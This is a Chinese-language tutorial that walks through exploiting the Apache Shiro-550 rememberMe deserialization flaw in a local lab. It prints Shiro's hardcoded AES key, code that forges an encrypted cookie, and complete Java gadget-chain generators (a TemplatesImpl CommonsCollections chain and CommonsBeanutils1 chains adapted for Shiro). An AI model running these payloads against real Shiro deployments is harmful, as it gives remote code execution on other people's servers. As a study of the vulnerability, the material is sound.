Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。
Shiro 反序列化漏洞的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。
前面的文章,介绍了 Commons-Collections 链的各种 Gadget,分为两种利用方式:一种是 InvokerTransformer ,通过 Runtime.exec() 命令执行;另一种是 TemplatesImpl ,通过加载类字节码的形式代码执行。
本文先以一个实际的例子 —— Shiro 反序列化漏洞,来实际使用一下 TemplatesImpl 。
利用 靶场 搭建漏洞环境,整个项目只有两个代码文件,index.jsp 和 login.jsp,依赖这块也仅有下面几个:
使用 Maven 将项目打包成 war 包,放在 Tomcat 的 webapps 目录下。然后访问 http://localhost:8080/shirodemo/ ,会跳转到登录页面:
然后输入正确的账号密码, root/secret ,可以成功登录。
如果登录时选择了 remember me 的多选框,则登录成功后服务端会返回一个 rememberMe 的 Cookie。
整个攻击过程如下:
- import org.apache.shiro.crypto.AesCipherService;
- import org.apache.shiro.util.ByteSource;
- public class Client0 {
- public static void main(String []args) throws Exception {
- byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
- AesCipherService aes = new AesCipherService();
- byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
- ByteSource ciphertext = aes.encrypt(payloads, key);
- System.out.printf(ciphertext.toString());
- }
- }
-
加密的过程,使用的 shiro 内置的类 org.apache.shiro.crypto.AesCipherService ,最后生成一段 base64 字符串。
直接将这段字符串作为 rememberMe 的值(不做 url 编码),发送给 shiro。结果 Tomcat 出现了报错:
找到最后一个异常信息 org.apache.shiro.io.ClassResolvingObjectInputStream ,可以看到,这是一个 ObjectInputStream 的子类,其重写了 resolveClass 方法:
resolveClass 是反序列化中用来查找类的方法,在读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法:
- protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException
- {
- String name = desc.getName();
- try {
- return Class.forName(name, false, latestUserDefinedLoader());
- } catch (ClassNotFoundException ex) {
- Class<?> cl = primClasses.get(name);
- if (cl != null) {
- return cl;
- } else {
- throw ex;
- }
- }
- }
-
会发现,前者用的是 org.apache.shiro.util.ClassUtils#forName ,而后者用的是 Java 原生的 Class.forName 。
在异常捕捉的位置下个断点,看看是哪个类触发了异常:
可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer; 。其实就是表示 org.apache.commons.collections.Transformer 的数组。
当使用 ClassLoader.loadClass(String name) 时,name 必须是 Java 语言规范定义的二进制名称,并不包括数组类;类加载器负责加载类的对象,数组类的类对象不是由类加载器创建的,而是根据 Java 运行时的要求自动创建的。
以下面代码为例:
- package ClassLoaderDemo;
-
- public class ClassLoaderDemo {
- public static void main(String[] args) throws ClassNotFoundException {
- String c1name = "test1".getClass().getName();
- String c2name = new String[]{"test2"}.getClass().getName();
-
- System.out.println(c1name);
- System.out.println(c2name);
-
- Class.forName(c1name);
- Class.forName(c2name);
-
-
- ClassLoaderDemo.class.getClassLoader().loadClass(c1name);
- ClassLoaderDemo.class.getClassLoader().loadClass(c2name);
- }
- }
-
网上大部分分析原因都是说 Class.forName() 与 ClassLoader.loadClass() 的区别导致 shiro 反序列化时不能加载数组,这个原因不完全准确。
其实是 shiro 加载 Class 最终调用的是 Tomcat 下的 webappclassloader ,该类会使用 Class.forName() 加载数组类,但是使用的 classloader 是 URLClassLoader ,只会加载 tomcat/bin 、 tomcat/lib 、 jre/lib/ext 下面的类数组,无法加载三方依赖 jar 包。
总之, 如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误 。因为 CC6 用到了 Transformer 数组,因此没法正常反序列化。
这里利用 wh1t3p1g(link:https://www.anquanke.com/post/id/192619) 的思路。使用 TemplatesImpl.newTransformer 函数来动态 loadClass 构造好的 evil class bytes 。并且在这部分利用链上是不存在数组类型的对象的。
如何触发 TemplatesImpl.newTransformer 的方法?
先来回顾一下 CommonsCollections2 的利用链:
- PriorityQueue.readObject
- -> PriorityQueue.heapify()
- -> PriorityQueue.siftDown()
- -> PriorityQueue.siftDownUsingComparator()
- -> TransformingComparator.compare()
- -> InvokerTransformer.transform()
- -> TemplatesImpl.newTransformer()
- ... templates Gadgets ...
- -> Runtime.getRuntime().exec()
-
在这条链上,由于 TransformingComparator 在 3.2.1 的版本上还没有实现 Serializable 接口,其在 3.2.1 版本下是无法反序列化的。所以无法直接利用该 payload 来达到命令执行的目的。
在 InvokerTransformer.transform() 中,根据传入的 input 对象,调用其 iMethodName 方法。如果此时传入的 input 为构造好的 TemplatesImpl 对象呢?这样就可以通过将 iMethodName 置为 newTransformer ,从而完成后续的 templates gadgets。
在 ysoserial 的利用链中,关于 transform 函数接收的 input 存在两种情况:
从 CommonsCollection6 开始,用到了 TiedMapEntry ,其作为中继,调用了 LazyMap (map)的 get 函数。
其中 map 和 key 都可以控制,而 LazyMap.get 调用了 transform 函数,并将可控的 key 传入 transform 函数:
这样就将构造好的 TemplatesImpl (key)作为 InvokerTransformer.transform 函数的 input 传入,就可以把 templates gadgets 串起来了。
这里整理一下这条链的调用过程:
- java.util.HashSet.readObject()
- -> java.util.HashMap.put()
- -> java.util.HashMap.hash()
- -> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
- -> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
- -> org.apache.commons.collections.map.LazyMap.get()
- -> org.apache.commons.collections.functors.InvokerTransformer.transform()
- -> java.lang.reflect.Method.invoke()
- ... templates gadgets ...
- -> java.lang.Runtime.exec()
-
首先还是创建 TemplatesImpl 对象:
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
- setFieldValue(obj, "_name", "HelloTemplatesImpl");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
-
创建一个用来调用 newTransformer 方法的 InvokerTransformer,但注意的是,此时先传入一个正常的方法,比如 getClass ,避免恶意方法在构造 Gadget 的时候触发:
- Transformertransformer = new InvokerTransformer("getClass",null,null);
-
再把之前的 CommonsCollections6 的代码复制过来,将原来 TiedMapEntry 构造时的第二个参数 key,改为前面创建的 TemplatesImpl 对象:
- Map innerMap = new HashMap();
- Map outerMap = LazyMap.decorate(innerMap, transformer);
- TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
- Map expMap = new HashMap();
- expMap.put(tme, "valuevalue");
- outerMap.clear();
-
完整代码如下:
- package com.govuln.shiroattack;
-
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
-
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.util.HashMap;
- import java.util.Map;
-
- public class CommonsCollectionsShiro {
- public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, value);
- }
-
- public byte[] getPayload(byte[] clazzBytes) throws Exception {
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
- setFieldValue(obj, "_name", "HelloTemplatesImpl");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
-
- Transformer transformer = new InvokerTransformer("getClass", null, null);
-
- Map innerMap = new HashMap();
- Map outerMap = LazyMap.decorate(innerMap, transformer);
-
- TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
-
- Map expMap = new HashMap();
- expMap.put(tme, "valuevalue");
-
- outerMap.clear();
- setFieldValue(transformer, "iMethodName", "newTransformer");
-
- // ==================
- // 生成序列化字符串
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(barr);
- oos.writeObject(expMap);
- oos.close();
-
- return barr.toByteArray();
- }
- }
-
这一个 Gadget 其实也就是 XRay 和 Koalr 师傅的 CommonsCollectionsK1 用来检测 Shiro-550 的方法。
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean(link:https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680) ) 的一些操作方法。
如 Cat 是一个最简单的 JavaBean 类:它包含一个私有属性 name,和读取和设置这个属性的两个方法,又称为 getter 和 setter。其中,getter 的方法名以 get 开头,setter 的方法名以 set 开头,
- final public class Cat {
- private String name = "catalina";
- public String getName() {
- return name;
- }
- public void setName(String name) {
- this.name = name;
- }
- }
-
commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,比如: PropertyUtils.getProperty(new Cat(), "name");
此时, commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 b,b 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过该方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。
寻找可以利用的 java.util.Comparator 对象,在 commons-beanutils 包中存在: org.apache.commons.beanutils.BeanComparator ,用来比较两个 JavaBean 是否相等的类,其实现了 java.util.Comparator 接口。我们看它的 compare 方法:
这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象。如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。 PropertyUtils.getProperty 这个方法会自动去调用一个 JavaBean 的 getter 方法, 这个点是任意代码执行的关键。
在分析 TemplatesImpl 利用链的文章中指出, TemplatesImpl#getOutputProperties() 方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer() ,也就是后面常用来执行恶意字节码的方法:
而 getOutputProperties 这个名字,是以 get 开头,正符合 getter 的定义。
构造的 POC 如下:
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import org.apache.commons.beanutils.BeanComparator;
-
- import java.io.ByteArrayInputStream;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- import java.util.PriorityQueue;
-
- public class CB1Demo {
- public static void main(String[] args) throws Exception {
- byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/ClassLoaderVuln/http/HelloTemppaltesImpl.class"));
-
- TemplatesImpl obj = new TemplatesImpl();
-
- setFieldValue(obj, "_bytecodes", new byte[][]{code});
- setFieldValue(obj, "_name", "HelloTemplatesImpl");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
-
- final BeanComparator comparator = new BeanComparator();
- final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
- queue.add(1);
- queue.add(1);
-
- setFieldValue(comparator, "property", "outputProperties");
- setFieldValue(queue, "queue", new Object[]{obj, obj});
-
- // 序列化
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(barr);
- oos.writeObject(queue);
- oos.close();
-
- // 反序列化
- ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
- ois.readObject();
- }
-
- public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, value);
- }
- }
-
首先创建 TemplateImpl 。然后实例化 BeanComparator 。 BeanComparator 构造函数为空时,默认的 property 就是空。再用刚刚的 comparator 实例化优先队列 PriorityQueue 。
可以看到,代码中添加了两个无害的可以比较的对象进队列中。前文说过, BeanComparator#compare() 中, 如果 this.property 为空,则直接比较这两个对象。这里实际上就是对两个 1 进行排序。
最后,再用反射将 property 的值设置成恶意的 outputProperties ,将队列里的两个 1 替换成恶意的 TemplateImpl 对象。
在前面的漏洞环境中,我们是手动添加了 Commons Collections 依赖。在实际场景中,目标系统不一定会安装 Commons Collections 库。而 commons-beanutils 默认添加。
尝试使用上文的 CB1 直接构造 payload,并发送,发现是失败的,提示 serialVersionUID 不一致。
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java 在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中
反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化过程就丢异常并退出执行,避免后续的未知隐患。
所以,出现错误的原因就是,本地使用的 commons-beanutils 是 1.9.2 版本,而 Shiro 中自带的 commons-beanutils 是 1.8.3 版本,出现了 serialVersionUID 对应不上的问题。
更换版本后,再次生成 Payload 进行测试,此时 Tomcat 端爆出了另一个异常,仍然没有触发代码执行:
- Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
-
简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于 commons-collections 。
commons-beanutils 本来依赖于 commons-collections ,但是在 Shiro 中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于 commons-collections。
首先确认 org.apache.commons.collections.comparators.ComparableComparator 这个类的使用情况:
在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。
既然此时没有 ComparableComparator ,需要找到一个类来替换,它满足下面这几个条件:
通过 IDEA 的 Implementation 寻找实现了 Comparator 的类:
代码如下:
CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了 Comparator 和 Serializable ,且位于 Java 的核心代码中,兼容性强。
通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator :
- final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
-
构造出新的 CommonsBeanutils1Shiro 利用链:
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import org.apache.commons.beanutils.BeanComparator;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.util.PriorityQueue;
- public class CommonsBeanutils1Shiro {
- public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
- Field field = obj.getClass().getDeclaredField(fieldName);
- field.setAccessible(true);
- field.set(obj, value);
- }
-
- public byte[] getPayload(byte[] clazzBytes) throws Exception {
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
- setFieldValue(obj, "_name", "HelloTemplatesImpl");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
- final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
- final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
- // stub data for replacement later
- queue.add("1");
- queue.add("1");
- setFieldValue(comparator, "property", "outputProperties");
- setFieldValue(queue, "queue", new Object[]{obj, obj});
- // ==================
- // 生成序列化字符串
- ByteArrayOutputStream barr = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(barr);
- oos.writeObject(queue);
- oos.close();
- return barr.toByteArray();
- }
- }
-
phith0n Java 漫谈系列(link:https://wx.zsxq.com/dweb2/index/group/2212251881)
Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞(link:https://paper.seebug.org/shiro-rememberme-1-2-4/)